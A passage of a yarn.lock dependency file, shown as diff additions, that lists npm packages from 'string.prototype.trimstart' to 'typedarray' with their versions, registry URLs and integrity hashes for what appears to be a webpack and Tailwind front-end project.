sha512-ayH0pB+uf0U28CtjlLvL7NaohvR1amUvVZk+y3DYb0Ey2PUV5zPkkKy9+U1ndVEIXO8hNg18eIv9Jntbii+dKw== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + +string.prototype.trimstart@^1.0.1, string.prototype.trimstart@^1.0.3: + version "1.0.3" + resolved "https://registry.yarnpkg.com/string.prototype.trimstart/-/string.prototype.trimstart-1.0.3.tgz#9b4cb590e123bb36564401d59824298de50fd5aa" + integrity sha512-oBIBUy5lea5tt0ovtOFiEQaBkoBBkyJhZXzJYrSmDo5IUUqbOPvVezuRs/agBIdZ2p2Eo1FD6bD9USyBLfl3xg== + dependencies: + call-bind "^1.0.0" + define-properties "^1.1.3" + +string_decoder@^1.0.0, string_decoder@^1.1.1: + version "1.3.0" + resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.3.0.tgz#42f114594a46cf1a8e30b0a84f56c78c3edac21e" + integrity sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA== + dependencies: + safe-buffer "~5.2.0" + +string_decoder@~1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/string_decoder/-/string_decoder-1.1.1.tgz#9cf1611ba62685d7030ae9e4ba34149c3af03fc8" + integrity sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg== + dependencies: + safe-buffer "~5.1.0" + +stringify-object@^3.3.0: + version "3.3.0" + resolved "https://registry.yarnpkg.com/stringify-object/-/stringify-object-3.3.0.tgz#703065aefca19300d3ce88af4f5b3956d7556629" + integrity sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw== + dependencies: + get-own-enumerable-property-symbols "^3.0.0" + is-obj "^1.0.1" + is-regexp "^1.0.0" + +strip-ansi@6.0.0, strip-ansi@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-6.0.0.tgz#0b1571dd7669ccd4f3e06e14ef1eed26225ae532" + integrity sha512-AuvKTrTfQNYNIctbR1K/YGTR1756GycPsg7b9bdV9Duqur4gv6aKqHXah67Z8ImS7WEz5QVcOtlfW2rZEugt6w== + dependencies: + ansi-regex "^5.0.0" + +strip-ansi@^3.0.0, strip-ansi@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-3.0.1.tgz#6a385fb8853d952d5ff05d0e8aaf94278dc63dcf" + integrity sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8= + dependencies: + ansi-regex "^2.0.0" + +strip-ansi@^5.0.0, strip-ansi@^5.1.0, strip-ansi@^5.2.0: + version "5.2.0" + resolved "https://registry.yarnpkg.com/strip-ansi/-/strip-ansi-5.2.0.tgz#8c9a536feb6afc962bdfa5b104a5091c1ad9c0ae" + integrity sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA== + dependencies: + ansi-regex "^4.1.0" + +strip-bom@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-3.0.0.tgz#2334c18e9c759f7bdd56fdef7e9ae3d588e68ed3" + integrity sha1-IzTBjpx1n3vdVv3vfprj1YjmjtM= + +strip-bom@^4.0.0: + version "4.0.0" + resolved "https://registry.yarnpkg.com/strip-bom/-/strip-bom-4.0.0.tgz#9c3505c1db45bcedca3d9cf7a16f5c5aa3901878" + integrity sha512-3xurFv5tEgii33Zi8Jtp55wEIILR9eh34FAW00PZf+JnSsTmV/ioewSgQl97JHvgjoRGwPShsWm+IdrxB35d0w== + +strip-comments@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/strip-comments/-/strip-comments-1.0.2.tgz#82b9c45e7f05873bee53f37168af930aa368679d" + integrity sha512-kL97alc47hoyIQSV165tTt9rG5dn4w1dNnBhOQ3bOU1Nc1hel09jnXANaHJ7vzHLd4Ju8kseDGzlev96pghLFw== + dependencies: + babel-extract-comments "^1.0.0" + babel-plugin-transform-object-rest-spread "^6.26.0" + +strip-eof@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/strip-eof/-/strip-eof-1.0.0.tgz#bb43ff5598a6eb05d89b59fcd129c983313606bf" + integrity sha1-u0P/VZim6wXYm1n80SnJgzE2Br8= + +strip-final-newline@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/strip-final-newline/-/strip-final-newline-2.0.0.tgz#89b852fb2fcbe936f6f4b3187afb0a12c1ab58ad" + integrity sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA== + +strip-indent@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/strip-indent/-/strip-indent-3.0.0.tgz#c32e1cee940b6b3432c771bc2c54bcce73cd3001" + integrity sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ== + dependencies: + min-indent "^1.0.0" + +strip-json-comments@^3.1.0, strip-json-comments@^3.1.1: + version "3.1.1" + resolved "https://registry.yarnpkg.com/strip-json-comments/-/strip-json-comments-3.1.1.tgz#31f1281b3832630434831c310c01cccda8cbe006" + integrity sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig== + +style-loader@1.3.0: + version "1.3.0" + resolved "https://registry.yarnpkg.com/style-loader/-/style-loader-1.3.0.tgz#828b4a3b3b7e7aa5847ce7bae9e874512114249e" + integrity sha512-V7TCORko8rs9rIqkSrlMfkqA63DfoGBBJmK1kKGCcSi+BWb4cqz0SRsnp4l6rU5iwOEd0/2ePv68SV22VXon4Q== + dependencies: + loader-utils "^2.0.0" + schema-utils "^2.7.0" + +stylehacks@^4.0.0: + version "4.0.3" + resolved "https://registry.yarnpkg.com/stylehacks/-/stylehacks-4.0.3.tgz#6718fcaf4d1e07d8a1318690881e8d96726a71d5" + integrity sha512-7GlLk9JwlElY4Y6a/rmbH2MhVlTyVmiJd1PfTCqFaIBEGMYNsrO/v3SeGTdhBThLg4Z+NbOk/qFMwCa+J+3p/g== + dependencies: + browserslist "^4.0.0" + postcss "^7.0.0" + postcss-selector-parser "^3.0.0" + +supports-color@^5.3.0, supports-color@^5.4.0: + version "5.5.0" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-5.5.0.tgz#e2e69a44ac8772f78a1ec0b35b689df6530efc8f" + integrity sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow== + dependencies: + has-flag "^3.0.0" + +supports-color@^6.1.0: + version "6.1.0" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-6.1.0.tgz#0764abc69c63d5ac842dd4867e8d025e880df8f3" + integrity sha512-qe1jfm1Mg7Nq/NSh6XE24gPXROEVsWHxC1LIx//XNlD9iw7YZQGjZNjYN7xGaEG6iKdA8EtNFW6R0gjnVXp+wQ== + dependencies: + has-flag "^3.0.0" + +supports-color@^7.0.0, supports-color@^7.1.0: + version "7.2.0" + resolved "https://registry.yarnpkg.com/supports-color/-/supports-color-7.2.0.tgz#1b7dcdcb32b8138801b3e478ba6a51caa89648da" + integrity sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw== + dependencies: + has-flag "^4.0.0" + +supports-hyperlinks@^2.0.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/supports-hyperlinks/-/supports-hyperlinks-2.1.0.tgz#f663df252af5f37c5d49bbd7eeefa9e0b9e59e47" + integrity sha512-zoE5/e+dnEijk6ASB6/qrK+oYdm2do1hjoLWrqUC/8WEIW1gbxFcKuBof7sW8ArN6e+AYvsE8HBGiVRWL/F5CA== + dependencies: + has-flag "^4.0.0" + supports-color "^7.0.0" + +svg-parser@^2.0.2: + version "2.0.4" + resolved "https://registry.yarnpkg.com/svg-parser/-/svg-parser-2.0.4.tgz#fdc2e29e13951736140b76cb122c8ee6630eb6b5" + integrity sha512-e4hG1hRwoOdRb37cIMSgzNsxyzKfayW6VOflrwvR+/bzrkyxY/31WkbgnQpgtrNp1SdpJvpUAGTa/ZoiPNDuRQ== + +svgo@^1.0.0, svgo@^1.2.2: + version "1.3.2" + resolved "https://registry.yarnpkg.com/svgo/-/svgo-1.3.2.tgz#b6dc511c063346c9e415b81e43401145b96d4167" + integrity sha512-yhy/sQYxR5BkC98CY7o31VGsg014AKLEPxdfhora76l36hD9Rdy5NZA/Ocn6yayNPgSamYdtX2rFJdcv07AYVw== + dependencies: + chalk "^2.4.1" + coa "^2.0.2" + css-select "^2.0.0" + css-select-base-adapter "^0.1.1" + css-tree "1.0.0-alpha.37" + csso "^4.0.2" + js-yaml "^3.13.1" + mkdirp "~0.5.1" + object.values "^1.1.0" + sax "~1.2.4" + stable "^0.1.8" + unquote "~1.1.1" + util.promisify "~1.0.0" + +symbol-tree@^3.2.4: + version "3.2.4" + resolved "https://registry.yarnpkg.com/symbol-tree/-/symbol-tree-3.2.4.tgz#430637d248ba77e078883951fb9aa0eed7c63fa2" + integrity sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw== + +table@^6.0.4: + version "6.0.7" + resolved "https://registry.yarnpkg.com/table/-/table-6.0.7.tgz#e45897ffbcc1bcf9e8a87bf420f2c9e5a7a52a34" + integrity sha512-rxZevLGTUzWna/qBLObOe16kB2RTnnbhciwgPbMMlazz1yZGVEgnZK762xyVdVznhqxrfCeBMmMkgOOaPwjH7g== + dependencies: + ajv "^7.0.2" + lodash "^4.17.20" + slice-ansi "^4.0.0" + string-width "^4.2.0" + +"tailwindcss@npm:@tailwindcss/postcss7-compat": + version "2.1.4" + resolved "https://registry.yarnpkg.com/@tailwindcss/postcss7-compat/-/postcss7-compat-2.1.4.tgz#427a2fd1837a3d9a54a296cc8b86a3f76b1452a7" + integrity sha512-KYRj/AGNwE4tPf02IvT+J36Twlrwg/OJJuSckSupX2T+xIOHSXPugNJZ7Stn9F67hh/qH+2Y2HXK6vpBadW6qw== + dependencies: + "@fullhuman/postcss-purgecss" "^3.1.3" + autoprefixer "^9" + bytes "^3.0.0" + chalk "^4.1.0" + chokidar "^3.5.1" + color "^3.1.3" + detective "^5.2.0" + didyoumean "^1.2.1" + dlv "^1.1.3" + fast-glob "^3.2.5" + fs-extra "^9.1.0" + html-tags "^3.1.0" + lodash "^4.17.21" + lodash.topath "^4.5.2" + modern-normalize "^1.0.0" + node-emoji "^1.8.1" + normalize-path "^3.0.0" + object-hash "^2.1.1" + parse-glob "^3.0.4" + postcss "^7" + postcss-functions "^3" + postcss-js "^2" + postcss-nested "^4" + postcss-selector-parser "^6.0.4" + postcss-value-parser "^4.1.0" + pretty-hrtime "^1.0.3" + quick-lru "^5.1.1" + reduce-css-calc "^2.1.8" + resolve "^1.20.0" + +tapable@^1.0.0, tapable@^1.1.3: + version "1.1.3" + resolved "https://registry.yarnpkg.com/tapable/-/tapable-1.1.3.tgz#a1fccc06b58db61fd7a45da2da44f5f3a3e67ba2" + integrity sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA== + +tar@^6.0.2: + version "6.1.0" + resolved "https://registry.yarnpkg.com/tar/-/tar-6.1.0.tgz#d1724e9bcc04b977b18d5c573b333a2207229a83" + integrity sha512-DUCttfhsnLCjwoDoFcI+B2iJgYa93vBnDUATYEeRx6sntCTdN01VnqsIuTlALXla/LWooNg0yEGeB+Y8WdFxGA== + dependencies: + chownr "^2.0.0" + fs-minipass "^2.0.0" + minipass "^3.0.0" + minizlib "^2.1.1" + mkdirp "^1.0.3" + yallist "^4.0.0" + +temp-dir@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/temp-dir/-/temp-dir-1.0.0.tgz#0a7c0ea26d3a39afa7e0ebea9c1fc0bc4daa011d" + integrity sha1-CnwOom06Oa+n4OvqnB/AvE2qAR0= + +tempy@^0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/tempy/-/tempy-0.3.0.tgz#6f6c5b295695a16130996ad5ab01a8bd726e8bf8" + integrity sha512-WrH/pui8YCwmeiAoxV+lpRH9HpRtgBhSR2ViBPgpGb/wnYDzp21R4MN45fsCGvLROvY67o3byhJRYRONJyImVQ== + dependencies: + temp-dir "^1.0.0" + type-fest "^0.3.1" + unique-string "^1.0.0" + +terminal-link@^2.0.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/terminal-link/-/terminal-link-2.1.1.tgz#14a64a27ab3c0df933ea546fba55f2d078edc994" + integrity sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ== + dependencies: + ansi-escapes "^4.2.1" + supports-hyperlinks "^2.0.0" + +terser-webpack-plugin@4.2.3: + version "4.2.3" + resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-4.2.3.tgz#28daef4a83bd17c1db0297070adc07fc8cfc6a9a" + integrity sha512-jTgXh40RnvOrLQNgIkwEKnQ8rmHjHK4u+6UBEi+W+FPmvb+uo+chJXntKe7/3lW5mNysgSWD60KyesnhW8D6MQ== + dependencies: + cacache "^15.0.5" + find-cache-dir "^3.3.1" + jest-worker "^26.5.0" + p-limit "^3.0.2" + schema-utils "^3.0.0" + serialize-javascript "^5.0.1" + source-map "^0.6.1" + terser "^5.3.4" + webpack-sources "^1.4.3" + +terser-webpack-plugin@^1.4.3: + version "1.4.5" + resolved "https://registry.yarnpkg.com/terser-webpack-plugin/-/terser-webpack-plugin-1.4.5.tgz#a217aefaea330e734ffacb6120ec1fa312d6040b" + integrity sha512-04Rfe496lN8EYruwi6oPQkG0vo8C+HT49X687FZnpPF0qMAIHONI6HEXYPKDOE8e5HjXTyKfqRd/agHtH0kOtw== + dependencies: + cacache "^12.0.2" + find-cache-dir "^2.1.0" + is-wsl "^1.1.0" + schema-utils "^1.0.0" + serialize-javascript "^4.0.0" + source-map "^0.6.1" + terser "^4.1.2" + webpack-sources "^1.4.0" + worker-farm "^1.7.0" + +terser@^4.1.2, terser@^4.6.2, terser@^4.6.3: + version "4.8.0" + resolved "https://registry.yarnpkg.com/terser/-/terser-4.8.0.tgz#63056343d7c70bb29f3af665865a46fe03a0df17" + integrity sha512-EAPipTNeWsb/3wLPeup1tVPaXfIaU68xMnVdPafIL1TV05OhASArYyIfFvnvJCNrR2NIOvDVNNTFRa+Re2MWyw== + dependencies: + commander "^2.20.0" + source-map "~0.6.1" + source-map-support "~0.5.12" + +terser@^5.3.4: + version "5.6.0" + resolved "https://registry.yarnpkg.com/terser/-/terser-5.6.0.tgz#138cdf21c5e3100b1b3ddfddf720962f88badcd2" + integrity sha512-vyqLMoqadC1uR0vywqOZzriDYzgEkNJFK4q9GeyOBHIbiECHiWLKcWfbQWAUaPfxkjDhapSlZB9f7fkMrvkVjA== + dependencies: + commander "^2.20.0" + source-map "~0.7.2" + source-map-support "~0.5.19" + +test-exclude@^6.0.0: + version "6.0.0" + resolved "https://registry.yarnpkg.com/test-exclude/-/test-exclude-6.0.0.tgz#04a8698661d805ea6fa293b6cb9e63ac044ef15e" + integrity sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w== + dependencies: + "@istanbuljs/schema" "^0.1.2" + glob "^7.1.4" + minimatch "^3.0.4" + +text-table@0.2.0, text-table@^0.2.0: + version "0.2.0" + resolved "https://registry.yarnpkg.com/text-table/-/text-table-0.2.0.tgz#7f5ee823ae805207c00af2df4a84ec3fcfa570b4" + integrity sha1-f17oI66AUgfACvLfSoTsP8+lcLQ= + +throat@^5.0.0: + version "5.0.0" + resolved "https://registry.yarnpkg.com/throat/-/throat-5.0.0.tgz#c5199235803aad18754a667d659b5e72ce16764b" + integrity sha512-fcwX4mndzpLQKBS1DVYhGAcYaYt7vsHNIvQV+WXMvnow5cgjPphq5CaayLaGsjRdSCKZFNGt7/GYAuXaNOiYCA== + +through2@^2.0.0: + version "2.0.5" + resolved "https://registry.yarnpkg.com/through2/-/through2-2.0.5.tgz#01c1e39eb31d07cb7d03a96a70823260b23132cd" + integrity sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ== + dependencies: + readable-stream "~2.3.6" + xtend "~4.0.1" + +thunky@^1.0.2: + version "1.1.0" + resolved "https://registry.yarnpkg.com/thunky/-/thunky-1.1.0.tgz#5abaf714a9405db0504732bbccd2cedd9ef9537d" + integrity sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA== + +timers-browserify@^2.0.4: + version "2.0.12" + resolved "https://registry.yarnpkg.com/timers-browserify/-/timers-browserify-2.0.12.tgz#44a45c11fbf407f34f97bccd1577c652361b00ee" + integrity sha512-9phl76Cqm6FhSX9Xe1ZUAMLtm1BLkKj2Qd5ApyWkXzsMRaA7dgr81kf4wJmQf/hAvg8EEyJxDo3du/0KlhPiKQ== + dependencies: + setimmediate "^1.0.4" + +timsort@^0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/timsort/-/timsort-0.3.0.tgz#405411a8e7e6339fe64db9a234de11dc31e02bd4" + integrity sha1-QFQRqOfmM5/mTbmiNN4R3DHgK9Q= + +tmpl@1.0.x: + version "1.0.4" + resolved "https://registry.yarnpkg.com/tmpl/-/tmpl-1.0.4.tgz#23640dd7b42d00433911140820e5cf440e521dd1" + integrity sha1-I2QN17QtAEM5ERQIIOXPRA5SHdE= + +to-arraybuffer@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/to-arraybuffer/-/to-arraybuffer-1.0.1.tgz#7d229b1fcc637e466ca081180836a7aabff83f43" + integrity sha1-fSKbH8xjfkZsoIEYCDanqr/4P0M= + +to-fast-properties@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/to-fast-properties/-/to-fast-properties-2.0.0.tgz#dc5e698cbd079265bc73e0377681a4e4e83f616e" + integrity sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4= + +to-object-path@^0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/to-object-path/-/to-object-path-0.3.0.tgz#297588b7b0e7e0ac08e04e672f85c1f4999e17af" + integrity sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68= + dependencies: + kind-of "^3.0.2" + +to-regex-range@^2.1.0: + version "2.1.1" + resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-2.1.1.tgz#7c80c17b9dfebe599e27367e0d4dd5590141db38" + integrity sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg= + dependencies: + is-number "^3.0.0" + repeat-string "^1.6.1" + +to-regex-range@^5.0.1: + version "5.0.1" + resolved "https://registry.yarnpkg.com/to-regex-range/-/to-regex-range-5.0.1.tgz#1648c44aae7c8d988a326018ed72f5b4dd0392e4" + integrity sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ== + dependencies: + is-number "^7.0.0" + +to-regex@^3.0.1, to-regex@^3.0.2: + version "3.0.2" + resolved "https://registry.yarnpkg.com/to-regex/-/to-regex-3.0.2.tgz#13cfdd9b336552f30b51f33a8ae1b42a7a7599ce" + integrity sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw== + dependencies: + define-property "^2.0.2" + extend-shallow "^3.0.2" + regex-not "^1.0.2" + safe-regex "^1.1.0" + +toidentifier@1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/toidentifier/-/toidentifier-1.0.0.tgz#7e1be3470f1e77948bc43d94a3c8f4d7752ba553" + integrity sha512-yaOH/Pk/VEhBWWTlhI+qXxDFXlejDGcQipMlyxda9nthulaxLZUNcUqFxokp0vcYnvteJln5FNQDRrxj3YcbVw== + +tough-cookie@^2.3.3, tough-cookie@~2.5.0: + version "2.5.0" + resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-2.5.0.tgz#cd9fb2a0aa1d5a12b473bd9fb96fa3dcff65ade2" + integrity sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g== + dependencies: + psl "^1.1.28" + punycode "^2.1.1" + +tough-cookie@^3.0.1: + version "3.0.1" + resolved "https://registry.yarnpkg.com/tough-cookie/-/tough-cookie-3.0.1.tgz#9df4f57e739c26930a018184887f4adb7dca73b2" + integrity sha512-yQyJ0u4pZsv9D4clxO69OEjLWYw+jbgspjTue4lTQZLfV0c5l1VmK2y1JK8E9ahdpltPOaAThPcp5nKPUgSnsg== + dependencies: + ip-regex "^2.1.0" + psl "^1.1.28" + punycode "^2.1.1" + +tr46@^2.0.2: + version "2.0.2" + resolved "https://registry.yarnpkg.com/tr46/-/tr46-2.0.2.tgz#03273586def1595ae08fedb38d7733cee91d2479" + integrity sha512-3n1qG+/5kg+jrbTzwAykB5yRYtQCTqOGKq5U5PE3b0a1/mzo6snDhjGS0zJVJunO0NrT3Dg1MLy5TjWP/UJppg== + dependencies: + punycode "^2.1.1" + +tryer@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/tryer/-/tryer-1.0.1.tgz#f2c85406800b9b0f74c9f7465b81eaad241252f8" + integrity sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA== + +ts-pnp@1.2.0, ts-pnp@^1.1.6: + version "1.2.0" + resolved "https://registry.yarnpkg.com/ts-pnp/-/ts-pnp-1.2.0.tgz#a500ad084b0798f1c3071af391e65912c86bca92" + integrity sha512-csd+vJOb/gkzvcCHgTGSChYpy5f1/XKNsmvBGO4JXS+z1v2HobugDz4s1IeFXM3wZB44uczs+eazB5Q/ccdhQw== + +tsconfig-paths@^3.9.0: + version "3.9.0" + resolved "https://registry.yarnpkg.com/tsconfig-paths/-/tsconfig-paths-3.9.0.tgz#098547a6c4448807e8fcb8eae081064ee9a3c90b" + integrity sha512-dRcuzokWhajtZWkQsDVKbWyY+jgcLC5sqJhg2PSgf4ZkH2aHPvaOY8YWGhmjb68b5qqTfasSsDO9k7RUiEmZAw== + dependencies: + "@types/json5" "^0.0.29" + json5 "^1.0.1" + minimist "^1.2.0" + strip-bom "^3.0.0" + +tslib@^1.8.1, tslib@^1.9.0: + version "1.14.1" + resolved "https://registry.yarnpkg.com/tslib/-/tslib-1.14.1.tgz#cf2d38bdc34a134bcaf1091c41f6619e2f672d00" + integrity sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg== + +tslib@^2.0.3: + version "2.1.0" + resolved "https://registry.yarnpkg.com/tslib/-/tslib-2.1.0.tgz#da60860f1c2ecaa5703ab7d39bc05b6bf988b97a" + integrity sha512-hcVC3wYEziELGGmEEXue7D75zbwIIVUMWAVbHItGPx0ziyXxrOMQx4rQEVEV45Ut/1IotuEvwqPopzIOkDMf0A== + +tsutils@^3.17.1: + version "3.20.0" + resolved "https://registry.yarnpkg.com/tsutils/-/tsutils-3.20.0.tgz#ea03ea45462e146b53d70ce0893de453ff24f698" + integrity sha512-RYbuQuvkhuqVeXweWT3tJLKOEJ/UUw9GjNEZGWdrLLlM+611o1gwLHBpxoFJKKl25fLprp2eVthtKs5JOrNeXg== + dependencies: + tslib "^1.8.1" + +tty-browserify@0.0.0: + version "0.0.0" + resolved "https://registry.yarnpkg.com/tty-browserify/-/tty-browserify-0.0.0.tgz#a157ba402da24e9bf957f9aa69d524eed42901a6" + integrity sha1-oVe6QC2iTpv5V/mqadUk7tQpAaY= + +tunnel-agent@^0.6.0: + version "0.6.0" + resolved "https://registry.yarnpkg.com/tunnel-agent/-/tunnel-agent-0.6.0.tgz#27a5dea06b36b04a0a9966774b290868f0fc40fd" + integrity sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0= + dependencies: + safe-buffer "^5.0.1" + +tweetnacl@^0.14.3, tweetnacl@~0.14.0: + version "0.14.5" + resolved "https://registry.yarnpkg.com/tweetnacl/-/tweetnacl-0.14.5.tgz#5ae68177f192d4456269d108afa93ff8743f4f64" + integrity sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q= + +type-check@^0.4.0, type-check@~0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.4.0.tgz#07b8203bfa7056c0657050e3ccd2c37730bab8f1" + integrity sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew== + dependencies: + prelude-ls "^1.2.1" + +type-check@~0.3.2: + version "0.3.2" + resolved "https://registry.yarnpkg.com/type-check/-/type-check-0.3.2.tgz#5884cab512cf1d355e3fb784f30804b2b520db72" + integrity sha1-WITKtRLPHTVeP7eE8wgEsrUg23I= + dependencies: + prelude-ls "~1.1.2" + +type-detect@4.0.8: + version "4.0.8" + resolved "https://registry.yarnpkg.com/type-detect/-/type-detect-4.0.8.tgz#7646fb5f18871cfbb7749e69bd39a6388eb7450c" + integrity sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g== + +type-fest@^0.11.0: + version "0.11.0" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.11.0.tgz#97abf0872310fed88a5c466b25681576145e33f1" + integrity sha512-OdjXJxnCN1AvyLSzeKIgXTXxV+99ZuXl3Hpo9XpJAv9MBcHrrJOQ5kV7ypXOuQie+AmWG25hLbiKdwYTifzcfQ== + +type-fest@^0.3.1: + version "0.3.1" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.3.1.tgz#63d00d204e059474fe5e1b7c011112bbd1dc29e1" + integrity sha512-cUGJnCdr4STbePCgqNFbpVNCepa+kAVohJs1sLhxzdH+gnEoOd8VhbYa7pD3zZYGiURWM2xzEII3fQcRizDkYQ== + +type-fest@^0.6.0: + version "0.6.0" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.6.0.tgz#8d2a2370d3df886eb5c90ada1c5bf6188acf838b" + integrity sha512-q+MB8nYR1KDLrgr4G5yemftpMC7/QLqVndBmEEdqzmNj5dcFOO4Oo8qlwZE3ULT3+Zim1F8Kq4cBnikNhlCMlg== + +type-fest@^0.8.1: + version "0.8.1" + resolved "https://registry.yarnpkg.com/type-fest/-/type-fest-0.8.1.tgz#09e249ebde851d3b1e48d27c105444667f17b83d" + integrity sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA== + +type-is@~1.6.17, type-is@~1.6.18: + version "1.6.18" + resolved "https://registry.yarnpkg.com/type-is/-/type-is-1.6.18.tgz#4e552cd05df09467dcbc4ef739de89f2cf37c131" + integrity sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g== + dependencies: + media-typer "0.3.0" + mime-types "~2.1.24" + +type@^1.0.1: + version "1.2.0" + resolved "https://registry.yarnpkg.com/type/-/type-1.2.0.tgz#848dd7698dafa3e54a6c479e759c4bc3f18847a0" + integrity sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg== + +type@^2.0.0: + version "2.3.0" + resolved "https://registry.yarnpkg.com/type/-/type-2.3.0.tgz#ada7c045f07ead08abf9e2edd29be1a0c0661132" + integrity sha512-rgPIqOdfK/4J9FhiVrZ3cveAjRRo5rsQBAIhnylX874y1DX/kEKSVdLsnuHB6l1KTjHyU01VjiMBHgU2adejyg== + +typedarray-to-buffer@^3.1.5: + version "3.1.5" + resolved "https://registry.yarnpkg.com/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz#a97ee7a9ff42691b9f783ff1bc5112fe3fca9080" + integrity sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q== + dependencies: + is-typedarray "^1.0.0" + +typedarray@^0.0.6: + version "0.0.6" + resolved 